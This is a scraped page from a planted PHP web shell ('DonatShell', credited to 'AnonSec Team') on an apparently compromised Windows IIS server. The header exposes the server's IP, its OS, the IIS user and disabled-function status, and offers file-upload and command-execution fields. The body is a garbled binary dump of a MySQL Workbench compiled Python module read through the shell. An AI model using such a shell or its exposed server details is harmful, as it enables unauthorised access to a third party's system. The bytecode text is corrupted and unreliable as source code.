DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files/MySQL/MySQL Workbench 6.3 CE/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Program Files/MySQL/MySQL Workbench 6.3 CE/modules/migration_object_editing.pyc

2zXc@svddlZddlZddlmZdZee_dZdejfdYZdefdYZdS(	iN(t
WizardPagecGs$tj}|j|j|S(N(tmformst
CodeEditortset_managedtset_release_on_add(targstc((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyt
newCodeEditors

cCs;x4|D],}t|ds dS|j|kr|SqWdS(NtoldName(thasattrtNoneR(tlisttnametobject((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pytfind_object_with_old_names
tReplaceFormcBseZdZdZRS(cCset|_tjj|dtjtjBtjB|j	|tj
t}|j||jd|j
dtj
t}|j|tt|j
d|jtj|tttj}|jd|j|tt|jd|jd|jd|jd|jtjddddd|jtjdddddtj|_|j|jddddtj|_|j|jddddtj
t}|j|tt|j
dtj|_|jjd	|j|jtttj|_|jjd
|j|jtt|jdddS(
NiiiisFind:iis
Replace with:tCanceltOKiXi(tFalset	_canceledRtFormt__init__R
tFormDialogFramet
FormResizabletFormMinimizablet	set_titletnewBoxtset_contenttset_paddingtset_spacingtaddtnewLabeltnewTablet
set_row_counttset_column_counttset_row_spacingtset_column_spacingtnewTextEntrytfrom_type_entryt
to_type_entrytTruetadd_endt	newButtont
cancel_btntset_texttok_btntset_size(tselfttitletdescriptiontcontenttv_boxttableth_box((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyR)sD	'









""
cCsG|jj||j|j|j}||jj|jjfS(N(R&t	set_valuet	run_modalR-R+tget_string_valueR'(R/ttype_to_replacetmodal_result((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pytshowUs(t__name__t
__module__RR;(((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyR(s	,tMainViewcBs=eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZddZdZdZdZdZdZdZdZdZdZdZdZdZ d Z!d!Z"d"Z#RS(#cCsZtj||ddt|jj|ddi|_t|_d\|_|_	dS(NsManual EditingtwidetObjectMigrationi(ii(
RRR(tmaintadd_wizard_paget_object_dicttsett_source_objects_with_errorsterror_countt
warning_count(R/RA((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyR\s
	cCs|jjd|jjtjdtttjt}tjd|_|j|jtttj	|_
|j
jdddg|j
j|j
|j|j
tt|jtjdtt|jj|ttd|_tjd	|_|jjtj|jjtj|jj|jtttjtj|_|jjtjd
dt|jjtjddt|jjtjd
dt|jj|jj|j|jj|jtt|jj|jtj|_|jj |j!|jj"d|j#d|jj$|jtjtj%tj&Btj'B|_(|j(jtj)ddt|_*|j(jtjddt|_+|j(jtjddt|_,|j(jtj)ddt|_-|j(jtj)ddt|_.|j(jtj/ddt|_0|j(jtj)ddt|_1|j(jtj)ddt|_2|j(jtj)ddt|_3|j(jtjddt|_4|j(jtjddt|_5|j(jtj)ddt|_6|j(jtj)ddt|_7|j(jtj/d dt|_8|j(jtj/ddt|_9|j(jtj)d!dt|_:|j(jtj)d"dt|_;|j(jtjd
dt|_<|j(j|j(j=t|j(j>tj?|j(j|j|jj|j(tt|j(j|j@|j(jAttj|_B|jBj |jC|jBjDd#|jEd$|jBjDd%|jFd&|jBjDd'|jGd(|jBjDd)|jHd*|jBjDd+|jId,|j(j$|jBtjd-|_J|jJjtjK|jj|jJtttjLtjM|_N|jNjOd.tjt}tjP|_Q|jQjRtjS|jQj|jT|j|jQtttjt}|jUd/|jd0tjV|_W|jWjXd1|jWjYd2|jWjZ|j[|j|jWtttjV|_\|j\jXd3|j\jYd4|j\jZ|j]|j|j\tttjd5|_^|j^jAt|j^jYd6|j|j^tttj_|_`|j`jXd7|j|j`tt|j`jZ|jatj_|_b|jbjXd8|j|jbtt|jbjZ|jc|j|tt|jNj||jNjdd9dt|_e|jf|jj|jNttt|_g|j
dS(:NisvReview and edit migrated objects. You can manually edit the generated SQL before applying them to the target database.sMigrated ObjectssMigration ProblemssAll ObjectssColumn MappingssView:s]No migration problems found. %d warning(s).
Use the View pulldown menu to review all objects.ts
Source Objectis
Target ObjectsMigration Messagei,sSkip Objecttskip_objects
Source SchemaidsSource Tables
Source ColumnsSource TypesSource FlagstNNisSource Default ValuesSource Collations
Target SchemasTarget Tables
Target ColumnsTarget TypesTarget FlagstAIsTarget Default ValuesTarget Collations&Set Target Type of Selected Columns...tset_target_typesFind and Replace Target Type...treplace_target_types Find and Replace Target Flags...treplace_target_flagss(Find and Replace Target Default Value...treplace_target_default_values$Find and Replace Target Collation...treplace_target_collationsgYou can rename target schemas and tables, and change column definitions by clicking them once selected.s%SQL CREATE Script for Selected ObjectiisLock edited SQLsLock the SQL code to the edited one, preventing automatic regenerations from discarding changes made directly to the SQL script.sComment outslMark the object to be commented out on the generated script, making it not get created in the target server.sCode is outdatedsThe locked SQL code seems to be outdated compared to a newer, automatically generated one. Unlocking the object will update it, but your changes will be lost.sDiscard Changess
Apply Changesi(hR2RRRRRR(Rttree_head_labeltnewSelectort_filtert	add_itemstadd_changed_callbackt_filter_changedR)t_no_errors_textt
_no_errorst	set_styletBigStyletset_text_alignt
MiddleLefttnewTreeViewtTreeDefaultt_treet
add_columntIconStringColumnTypetend_columnst_selection_changedtset_cell_edited_callbackt_cell_editedtnewContextMenut	_all_menutadd_will_show_callbacktall_menu_will_showtadd_check_item_with_titleRItset_context_menutTreeShowColumnLinestTreeShowRowLinestTreeFlatListt_columnstStringColumnTypetCOL_SOURCE_SCHEMAtCOL_SOURCE_TABLEtCOL_SOURCE_COLUMNtCOL_SOURCE_TYPEtCOL_SOURCE_FLAGStCheckColumnTypetCOL_SOURCE_NOTNULLtCOL_SOURCE_DEFAULTtCOL_SOURCE_COLLATIONtCOL_TARGET_SCHEMAtCOL_TARGET_TABLEtCOL_TARGET_COLUMNtCOL_TARGET_TYPEtCOL_TARGET_FLAGSt
COL_TARGET_AItCOL_TARGET_NOTNULLtCOL_TARGET_DEFAULTtCOL_TARGET_COLLATIONtCOL_MESSAGEtset_allow_sortingtset_selection_modetTreeSelectMultiplet_columns_cell_editedR;t_menutmenu_will_showtadd_item_with_titleRLRMRNRORPt
help_labelt
SmallStyletnewPaneltTitledBoxPanelt_advboxRRt_codetset_languaget
LanguageMySQLt
_code_changedRtnewCheckBoxt_lock_checkR,tset_tooltiptadd_clicked_callbackt
_lock_clickedt_comment_checkt_comment_clickedt_sql_outdated_labelR*t_revert_btnt_discard_clickedt
_apply_btnt_apply_clickedR.t
_advbox_showntgo_advancedt_filter_errors(R/thboxtboxtvbox((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyt	create_uies	
#!!!!!!!!!!!!!!!!!!


	
	cCs|jjj|jdS(N(RAtplantgenerateSQLRc(R/((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyt_regenerateSQLscCs
|jj}t|_|dkrl|jjt|jst|_t|_	|j
|jjj
j|jjjj|jn|jdkr|jjt|jjt|jjt|jjt|jr|jn|jj|j|j|jjtq|jjt|jjt|jjt|jjt|jjtn|dkr.|jjt|jjt|jjt|jjt|jjt|jjt|jrt|_t|_	|j
|jjj
j|jjjj|jqn|dkr|jjtt|_|jjt|jjt|jjt|jjt|jjtn`|jjt|jjt|jjt|jjt|jjt|jjtdS(Niii(RStget_selected_indexRt_showing_columnsRoR;RR(RDREtscan_objects_with_errorsRARtmigrationSourcetcatalogtmigrationTargettrefresh_full_treeRFR_RRQtadvanced_buttonRRRXR,RWRG(R/ti((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRVsb			(
	
		(	c
Cs|dkr|j}|r|jj|d}|rt|tjjrtjdd|j	||f|j
d\}}}||_y)|j|dst
d|nWn4t
k
r}	tjjdd|	dd	d	dSX|jd|d|j|jqt|tjjrt|tjjrt|tjjrtjdd
|j|f|jd|||_|jqtjjdddd	d	qqndS(
Nit	Migrations8User changed target column definition from '%s' to '%s'
s  s'Could not parse column type string '%s'sChange Column TypesError changing column type: %sRRHs(User renamed target object '%s' to '%s'
s
Rename Objects+The object cannot be renamed from the tree.(tget_tagRCtgetR
t
isinstancetgrttclassest	db_Columntlog_infot
get_stringt	partitionRtsetParseTypet	ExceptionRt	Utilitiest
show_errort
set_stringtformattedRawTypeRtdb_Viewt
db_Routinet
db_Triggertshow_message(
R/tnodetcolumntvaluetoidR
Rtsepttypetexc((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRe s.#	 
B	
cCs|jj|jd}|rt|tjjr|jj	jdt
rtjj
dddddtjkrydStjdd|jt
|jj	d<n||jkr||_|j||tjdd	|j|f|jq||jkry)|j|ds,td
|nWn4tk
rc}tjjdd|d
dddSX|j||tjdd|j|f|jq||jkr
|j|||jj|jj|jtjdd|j|f|jq||jkrt|j|t|dkt|dk|_ tjdd|j|f|jq||j!kr|j|t|dkt|dk|_"tjdd|j|f|jq||j#kr?|j||||_$|dk|_%tjdd|j|f|jq||j&kr|j||||_'tjdd|j|f|jqndS(Nsmigration:lock_temp_sqlsObject is LockedsThe object was manually edited and is locked against updates. Would you like to unlock the object discard your edits to apply this change?s
Unlock ObjectRRHRs2User unlocked object '%s' by changing columns trees(User renamed target column '%s' to '%s'
s'Could not parse column type string '%s'sChange Column TypesError changing column type: %sRs0User changed target column type of '%s' to '%s'
s1User changed target column flags of '%s' to '%s'
is9User changed target column autoIncrement of '%s' to '%s'
s5User changed target column isNotNull of '%s' to '%s'
tNULLs3User changed target column default of '%s' to '%s'
s5User changed target column collation of '%s' to '%s'
((RCRRR
RRRRtownert
customDataRRRRtResultCancelRRR|RRR}RRRR~tflagst
remove_alltextendtsplitRtset_booltintt
autoIncrementRt	isNotNullRtdefaultValuetdefaultValueIsNullRt
collationName(R/RRRR
R((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyR;sd	
 




	
	cCs|jr|jj}n|jj}|r|jr|j}|jj|d}t|t	j
jr~|j}n|SdS(N(
RRotget_selected_nodeR_RRCRR
RRRRR(R/tselectedRR
((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyt_selected_objectqs	cCs|j}|r|jjt}|jjrV|jjd|jddn2|jdr|jj|jdddn|jj	|j
|jndS(Ns-- s
s
-- i(RRtget_textRRt
get_activeR,treplacet
startswithtset_enabledtcommentedOutR(R/R
ttext((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRs##cCsj|j}|rf|jj|jd<|jsf|jjdrc|jd|_|jqcqfndS(Nsmigration:lock_temp_sqlsmigration:new_temp_sql(RRRRRttemp_sqlRc(R/R
((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRs	cCs|j}|rt|dr|jj|j|jj|j|jj|jdk|j	jt
|jjdt
|jjt|jjt
|jjt
dS|jjd|jjt
|jjt
|j	jt
|jjt
dS(NRismigration:lock_temp_sqlRH(RR	RR,RRRRt
set_activeRtboolRRRRR(RR(R/R
((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRcs%cCs$|jjt|jjtdS(N(RRR(R(R/txtytz((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRscCs]|jjt}|j}|rO||_|jj|_t|j	d<n|j
dS(Nsmigration:lock_temp_sql(RRRRRRRRR(RRc(R/RR
((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRs	cCs|jdS(N(Rc(R/((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRscCsP|j|_|jr)|jjdn|jjd|jj|jdS(NsHide Code and MessagessShow Code and Messages(RRR,RR;(R/((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRs

	cCs0|jr,|jjjtj|ndS(N(tvalidateRARtmigrationUpdateRtgo_next(R/((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRscCs1tj|||r-|j|jndS(N(Rtpage_activatedRVtrefresh(R/tadvance((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRs
cCs|jj}|jjj|jjjkrx|jjjD]}x|jjjD]}|j|j	krP|j	|j	krt
jjddddd|j
jd}|dkrtjddn|j
j||j
jtSqPqPWq:WntS(	NsValidation ErrorsThe source and target are in the same server and a schema being migrated has identical names.
Please rename the target schema to allow the migration to continue.RRHsAll ObjectsiRs1Could not get the index of the "All Objects" view(RARRt
connectionthostIdentifierRRtschemataRRRRRRStindex_of_item_with_titleRtlog_warningtset_selectedtcall_changed_callbackRR((R/Rtschemattschematidx((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRs 

cCs/|jjjj||}|s?|jjjj|d}n|r'd}d}d}xy|jD]n}|jdkr|j}|jdkr|d7}q|jdkr|d7}qqa|jra|j}qaqaW||dkr|||pdfS||dkr|||dfS|||fSndSdS(NiiiRHs, ...sObject was not migrated(iisObject was not migrated(RARtstatetfindMigrationLogEntryR
tentriest	entryTypeR(R/tsourcettargett	log_entryterrorstwarningst
first_problemtentry((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pytget_log_entry_fors,	
	icCsj|j||\}}}|j|||rD|j|dn|r]|j|dn|||fS(Nstask_error.pngstask_warning.png(RRt
set_icon_path(R/RRRRterrtwarR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyt_set_log_entry_forscCs|r|jn|jj}d}d}t|tjjrhd|j}|rhd|j}qhn|r|jd|j	||j
d|n|jdd|r|j
d||jd|j	|n|jdd|r|j|j||j
|j<n|S(NRHs  isn/ai(t	add_childR_tadd_nodeRRRRRRRR	tset_tagt__id__RC(R/tparentRRticonRtsextrattextra((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyt	_add_nodes&!
cCsVt|j|j}|j|||d}|j|||\}}}|rxddddgD]\}	}
}|j}|jd|	|jdd|jd|	|jddt||}
t||}d}d}x|
D]y}|j	r|j
|jkrqnt||j}|re|dkre|j|re|j|||d}n|j||||
}|j|||\}}}||7}||7}|dkrx|j
D]@}|rt|j
|j}nd}|j|||dqWq|d
krxN|j
D]@}|rFt|j
|j}nd}|j|||dq"WqqW|r|jdd|jddn9|r|jdd|jddn|jdd||7}||7}qdWn|r|jdd|jddn9|r<|jdd|jddn|jdd||fS(Nsdb.Table.16x16.pngtColumnssdb.Column.nn.16x16.pngtcolumnstIndicessdb.Index.16x16.pngtindicestForeignKeyssdb.ForeignKey.16x16.pngtforeignKeystTriggerssdb.Trigger.16x16.pngttriggersitfolderisdb.Column.pk.16x16.pngsdb.Column.16x16.pngistask_error.pngs Migration errors, expand to viewstask_warning.pngs"Migration warnings, expand to viewRH(Rsdb.Column.nn.16x16.pngscolumns(Rsdb.Index.16x16.pngsindices(Rsdb.ForeignKey.16x16.pngsforeignKeys(Rsdb.Trigger.16x16.pngstriggers(RttablesRRRR
RR	tgetattrRRREtisPrimaryKeyColumnRR
(R/ttables_nodeRtstabletttablet
table_nodet
total_errsttotal_warnsRtcaptionRt	list_nametsub_node_grouptslistttlisttsub_errst	sub_warnstsitemttitemtsub_nodeterrstwarnsticolumntticolumn((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyt_add_table_node*sp
!

!
csfd}x|jD]~}|||j\}}|rSjj|jn|s_qnx=|jD]2}jjjjd|rqin|||j\}}|rjj|jjj|jn|sqinxk|j	D]`}	||	|j	\}
}|rjj|	jjj|jjj|jqqWxk|j
D]`}|||j
\}}|r[jj|jjj|jjj|jq[q[Wxk|jD]`}
||
|j\}}|rjj|
jjj|jjj|jqqWxk|jD]`}|||j\}}|r7jj|jjj|jjj|jq7q7WqiWxy|j
D]n}jjjjd|rqn|||j
\}}|rjj|jjj|jqqWxy|jD]n}jjjjd|rLq%n|||j\}}|r%jj|jjj|jq%q%WqWdS(NcsOt||j}j||\}}}|dkpB|dk}||fS(Ni(RRR(tobjtobject_listttobjR
Rttxtt
has_errors(R/(sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pytcheck_objectpsRtviewstroutines(RRERRRRARRtisObjectIgnoredRRRRR=R>(R/tsource_catalogttarget_catalogR<RRR;R4R$Rttcolumntindexttindextfkttfkttriggertttriggertviewttviewtroutinettroutine((R/sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRoslcCsLt|_|j|jjjj|jjjj|j|j	dS(N(
RDRERRARRRRRtrefresh_columns_tree(R/((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRs(
cCs|jj|jjjj}|jjjj}xI|jD]>}|r_t|j|j	}nd}x|jD]}|rt|j|j	nd}|sqonx|jD]}|rt|j|j	nd}|jj
}	d}
|jj|rd}
n|	j|j|j	|	j|jd|	j|j|j	|	j|j|
|	j|j|j	|	j|j|j|	j|jdj|j|	j|j|jdk|	j|j|j|	j|j|j |r|	j|j!|j	n|r9|	j|j"d|	j|j"|j	n|r^d}
|jj|r`d}
n|	j#|j$||j%|j$<|	j|j&|
|	j|j&|j	|	j|j'|j|	j|j(dj|j|	j|j)|j*dk|	j|j+|jdk|	j|j,|j|	j|j-|j |j.|	|||j/q|	j|j/dqWqoWq;WdS(Nsdb.Column.nn.16x16.pngsdb.Column.pk.16x16.pngsdb.Table.16x16.pngt isThe column was not migrated(0RotclearRARRRRRRRR
RRRRR!RRqR	RrRsRtRRutjoinRRRwRRxRRyRRzR{RRRCR|R}R~RRRRRRR(R/R@RAtsschemaRR#R$tscolumnRBRR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRMs`
!!		cCs[|jj|jjjj}|jjjj}i|_d\|_|_	|j
s|jd}|r|jdd|dqnx|jD]}|j
r|j|jkrqn|rt|j|j}nd}|jd||d}|j||||j}|jdd|jdd|jdd|jddd\}}	|rxa|jD]V}
|j
r|
j|jkrqln|j|||
\}}||7}|	|7}	qlW|j|7_|j	|	7_	|r
|jdd	|jdd
n9|	r6|jdd|jddn|jdd
x|jjjjdD]}
|
\}}}|d}|j}|jd||jdd|jd||jddt||}t||}d\}}x|D]}|j
r |j|jkr qnt||j}|j||||}|j|||\}}}||7}||7}qW|j|7_|j	|7_	|r|jdd	|jdd
q]|r|jdd|jddq]|jdd
q]Wn|jqW|j
sM|jd}|rM|jdd|dqMn|jdS(Nismigration:preamblesGrtObject.16x16.pngsdb.Schema.16x16.pngtTablesiRistask_error.pngs Migration errors, expand to viewstask_warning.pngs"Migration warnings, expand to viewRHs
.16x16.pngsmigration:postamble(ii(ii(ii(R_RORARRRRRCRFRGRRRR
RRRERRRR
RR	RR6tsupportedObjectTypesR texpandRc(R/R@RAR7RQRtschema_nodeR"tsch_errst	sch_warnsR#ttab_errst	tab_warnstitemR)tstruct_nameR(RR*R+R,t
group_errstgroup_warnsR/R0R1tit_errstit_warnsR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRs
		




	
cCsc|jj}|j}|r_||jkr_|j|}t|dr_|j|_q_ndS(NR(R_RRRCR	R(R/RttagR7((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRIMs
cCs|jj}|j}|jjdjt|r||jkr|j|}t|dr|jjdj	|j
|jdkr|jjdjtqqndS(NiRsdb.Indexs
db.ForeignKey(sdb.Indexs
db.ForeignKey(
R_RRRgtget_itemRRRCR	tset_checkedRt__grtclassname__R((R/R[RRaR7((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRiUs
cCs2|jjdjt|jjdkdS(Nii(RRbRtlenRot
get_selection(R/R[((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyR`scCsj|jj}|rftjjddd\}}|rfx'|D]}|j||j|q@WqfndS(NsChange target columns typesPlease specify the target typeRH(RoRfRRt
request_inputRR}(R/tselected_nodestretRtn((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRLcs
cCs|jjd}|r|j|}t||}|jt|\}}}|rx]t|jjD]C}	|jj|	}
|
j||krq|j	|
||qqqqWqndS(Ni(
RoRfRRR;Rtrangetcounttnode_at_rowR(R/R0R1Rt
selected_nodet
to_replacet	repl_formRitreplace_withRR((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pytreplace_targetkscCs|jdd|jdS(NsFind and Replace Target TypescTarget/migrated data types matching the search term will be replaced for all columns of all tables.(RrR}(R/((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRMws	cCs|jdd|jdS(NsFind and Replace Target Flagss^Target/migrated flags matching the search term will be replaced for all columns of all tables.(RrR~(R/((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRN|s	cCs|jdd|jdS(Ns%Find and Replace Target Default ValuesgTarget/migrated default values matching the search term will be replaced for all columns of all tables.(RrR(R/((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyROs	cCs|jdd|jdS(Ns!Find and Replace Target CollationscTarget/migrated collations matching the search term will be replaced for all columns of all tables.(RrR(R/((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyRPs	($R<R=RRRRVReRRRRRcRRRRRRRRRRR6RRRMRRIRiRRLRrRMRNRORP(((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyR>[sD			~		6		6							
										E	>		9	_								(	RRtworkbench.uiRRRRRR>(((sQC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\migration_object_editing.pyt<module>s				3

Anon7 - 2022
AnonSec Team